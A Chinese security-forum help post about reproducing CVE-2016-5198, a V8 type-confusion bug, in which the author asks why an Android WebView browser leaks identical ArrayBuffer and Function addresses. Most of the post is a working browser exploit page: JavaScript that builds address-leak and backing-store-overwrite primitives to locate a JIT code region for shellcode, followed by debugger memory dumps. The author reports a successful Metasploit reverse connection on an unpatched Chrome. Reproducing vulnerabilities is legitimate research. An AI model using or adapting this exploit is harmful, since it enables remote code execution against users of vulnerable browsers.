[求助]为什么在复现 CVE-2016-5198 时，出现的 ArrayBuffer 地址与出现的 Function 地址相同?-二进制漏洞-看雪安全社区

[求助]为什么在复现 CVE-2016-5198 时，出现的 ArrayBuffer 地址与出现的 Function 地址相同?

发表于: 2025-8-4 20:35 148

[求助]为什么在复现 CVE-2016-5198 时，出现的 ArrayBuffer 地址与出现的 Function 地址相同?

git_12014tiandic 活跃值

2025-8-4 20:35

148

JS代码如下（来自 32dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2N6r3g2J5L8X3q4D9M7$3q4C8N6i4u0S2x3e0y4Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5&6i4K6u0r3x3o6c8Q4x3V1j5J5z5g2)9J5c8V1y4h3c8g2)9J5k6o6t1H3x3e0k6Q4x3X3b7#2x3e0V1^5i4K6u0r3 ）

我把其中的“print”改成了“alert”

<html>
<script>
var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;
 
 
var evil_f = new Function("var a = 1000000");
 
function d2u(num1,num2){
    d = new Uint32Array(2);
    d[0] = num2;
    d[1] = num1;
    f = new Float64Array(d.buffer);
    return f[0];
}
 
function u2d(num){
    f = new Float64Array(1);
    f[0] = num;
    d = new Uint32Array(f.buffer);
    return d[1] * 0x100000000 + d[0];
}
 
 
function Ctor() {
    n = new Set();  
}
function Ctor2() {
    m = new Map();  
}
function Ctor3() {
    l = new ArrayBuffer();
}
 
function Check(obj){
    n.xyz = 3.4766863919152113e-308
    n.xyz1 = 0x0;
    n.xyz2 = 0x7000;
    n.xyz3 = obj;
}
 
 
function Check2(addr){
    m.xyz = 3.4766863919152113e-308
    m.xyz1 = 0x0
    m.xyz2 = 0x7000
    m.xyz3 = addr   
}
function Check3(addr){
    l.xyz = 3.4766863919152113e-308;
    l.xyz1 = addr  
}
 
 
for(var i=0; i<10000; ++i) {
    Ctor();
    Ctor2();
    Ctor3();
}
 
for(var i=0; i<10000; ++i) {
    Check(null);
    Check2(3.4766863919152113e-308);
    Check3(3.4766863919152113e-308);
}
 
Ctor();
Ctor2();
Ctor3();
 
Check(ab);
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
alert("ab_addr: 0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;
ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
 
Check(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
alert("func_addr: 0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);
 
Check(String(null));
 
alert(ab_len_ptr_float);
Check2(ab_len_ptr_float);
 
alert(func_addr_float);
Check3(func_addr_float);
 
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
 
alert("0x"+(u2d(shellcode_addr_float)).toString(16));
</script>
</html>

用于复现的主机：从 1f5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0V1P5o6R3$3i4K6u0W2L8%4u0Y4 下载的 android-x86_64-7.1-r5.iso

安装在VMware中

浏览器：Lightning Browser（一款轻量级浏览器，通过 WebView 进行渲染，没有沙盒等安全防护）

Version: 4.4.2

Download link: ed6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2M7r3E0E0K9i4u0J5L8%4u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7r3E0Q4x3V1k6S2L8Y4c8Z5L8$3&6&6i4K6u0V1M7X3g2K6N6r3q4A6L8X3!0Q4x3V1k6D9K9h3N6Z5N6r3&6A6L8X3N6Q4x3X3c8%4k6h3u0Q4x3X3c8T1M7X3!0%4M7$3g2J5i4K6u0V1x3W2)9J5c8X3I4A6k6$3S2@1L8X3W2F1k6#2)9J5k6s2N6W2j5W2)9J5k6r3u0J5L8%4N6K6k6i4u0Q4x3X3b7J5i4K6u0V1y4q4)9J5k6o6c8Q4x3X3b7J5i4K6u0V1M7X3g2D9k6h3q4K6k6g2)9J5c8X3I4A6k6$3S2@1L8X3W2F1k6#2)9J5k6s2N6W2j5W2)9J5k6r3u0J5L8%4N6K6k6i4u0Q4x3X3b7@1i4K6u0V1y4q4)9J5k6o6u0Q4x3X3c8S2L8X3c8J5L8$3W2V1i4K6u0V1j5i4m8C8i4K6u0V1k6r3!0%4L8X3I4G2j5h3c8Q4x3V1j5`.

github: 0d7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2L8Y4c8Z5L8$3&6&6j5%4u0Q4x3V1k6x3K9h3N6Z5N6r3&6A6L8X3N6Q4x3X3c8n7M7X3!0%4M7$3g2J5

我在 Windows 10 系统上安装了 Apache，然后在 Android 7 系统上使用 Lightning Browser 访问了上述 HTML 文件
随后出现的 ArrayBuffer 地址与 Function 相同

最后执行的代码是：alert("0x" + (u2d(shellcode_addr_float)).toString(16));
输出结果是 0x0

我查看了 ab 的内存数据，看是否能找到一些线索
执行alert('ab_addr: 0x' + ab_addr.toString(16));之后
弹出一个窗口显示：ab_addr: 0xc38081ddc1b7680
我认为 ab 的内存布局如图所示。
ArrayBuffer 内存布局

pwndbg> x/6xg 0xc38081ddc1b76800
0xc1b76800:     0x26c0819d26c0819d      0x26c0819d26c0819d
0xc1b76810:     0xc1b6394d26c38af1      0x26c0819d26c0819d
0xc1b76820:     0x26c0819d26c0819d      0x26c0819d26c0819d
pwndbg> x/6xg 0xc38081ddc1b76800-1
0xc1b767ff:     0xc0819d26c0819dc1      0xc0819d26c0819d26
0xc1b7680f:     0xb6394d26c38af126      0xc0819d26c0819dc1
0xc1b7681f:     0xc0819d26c0819d26      0xc0819d26c0819d26
pwndbg> x/6xg 0xc0819d26c0819d26
0xc0819d26:     0xf5f5fff5f5f5fff5      0xf5f5fff5f5f5fff5
0xc0819d36:     0xf5f5fff5f5f5fff5      0xf5f5fff5f5f5fff5
0xc0819d46:     0xf5f5fff5f5f5fff5      0xf5f5fff5f5f5fff5
pwndbg> x/6xg 0x26c0819d26c0819d
0x26c0819d:     0x0000000000c38082      0xd526c081bd7ff800
0x26c081ad:     0xbd26c0814126c081      0xb10000000a26c081
0x26c081bd:     0x1248f735fec38081      0x6665646e75000000

然而，其中的数据却很奇怪
ArrayBuffer 的Length不是0x00000200 00000000
BackingStore中也不是 0

是我哪里做错了吗?

之后我在Windows 10安装符合条件的chrome版本却一切正常
出现的ArrayBuffer地址与Function不相同
如:ab_addr: 0x2cae4e79b79
func_addr:0x2cae4e79bb9
alert("0x" + (u2d(shellcode_addr_float)).toString(16));的输出也不为0x0
ArrayBuffer 的Length为0x00000200 00000000
BackingStore全是0x00
尝试使用msf进行反弹连接也成功了